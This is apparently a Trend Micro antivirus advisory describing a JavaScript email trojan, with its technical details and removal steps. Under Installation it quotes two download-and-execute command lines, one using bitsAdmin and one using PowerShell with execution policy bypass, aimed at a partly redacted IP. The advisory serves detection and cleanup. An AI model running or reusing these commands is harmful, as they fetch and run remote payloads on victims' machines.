TROJAN.JS.PLOPROLO.THOAOGAI


 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Spammed via email

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

8,403 bytes

File Type:

JS

Memory Resident:

No

Initial Samples Received Date:

01 Jan 2019

Payload:

Connects to URLs/IPs, Executes files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Installation

This Trojan adds the following processes:

  • cmd.exe /c bitsAdmin /transfer getitman /download /priority high http://{BLOCKED}.{BLOCKED}.{BLOCKED}7.48/m/{String}
  • cmd.exe /c PowErShEll -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}.{BLOCKED}.{BLOCKED}7.48/m/{String}',%User Temp\{Random numbers.exe}');Start-Process '%User Temp\{Random numbers.exe}

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}.{BLOCKED}.{BLOCKED}7.48/m/{String}

It saves the files it downloads using the following names:

  • %User Temp%\{Random numbers}.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Other Details

This Trojan does the following:

  • Values of String can be:
    • tm.exe
    • mb.exe

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.736.04

FIRST VSAPI PATTERN DATE:

07 Jan 2019

VSAPI OPR PATTERN File:

14.737.00

VSAPI OPR PATTERN Date:

08 Jan 2019

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Temp\{Random numbers}.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as TROJAN.JS.PLOPROLO.THOAOGAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.